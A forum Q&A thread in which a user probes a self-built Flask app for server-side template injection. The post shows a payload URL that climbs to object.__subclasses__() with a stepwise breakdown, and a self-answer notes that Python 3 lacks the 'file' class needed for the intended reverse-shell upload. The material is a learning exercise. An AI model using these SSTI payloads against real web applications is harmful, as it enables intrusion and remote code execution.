1

I'm trying to get RCE in a simple Flask web app I developed, which is vulnerable to server side template injection (SSTI).

RCE is usually obtained by uploading the reverse shell script on the target, thanks to a file reference, accesses by using the object.__subclasses__() method.

URL with Payload

http://0.0.0.0:5000/%7B%7B''.__class__.__mro__[1].__subclasses__()%7D%7D

Breakdown

{{''.__class__}}  => <class 'str'>
{{''.__class__.__mro__}}  => (<class 'str'>, <class 'object'>)
{{''.__class__.__mro__[1]}}  => <class 'object'>
{{''.__class__.__mro__[1].__subclasses__()}}  => [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, ...

Response page

Oops! That page doesn't exist.
http://0.0.0.0:5000/[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, ...

Unfortunately, in the output I get, there isn't any file reference , so I'm not able to upload the reverse shell.

What am I missing?

0

After further research, I think I figured out why. It seems that the latest versions of Python are not vulnerable to the metodology briefly explained in my original post.

The Flask web app I was using as target was indeed running inside a Docker container, with the latest version of Python installed.

A simple way to check it out:

Python 2.7.10

>>> object.__subclasses__()
[<type 'type'>, <type 'weakref'>,..., <type 'file'>, ...]

Python 3.7.1

>>> object.__subclasses__()
[<class 'type'>, <class 'weakref'>, ... ] # no <type 'file'> or <class 'file'>

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.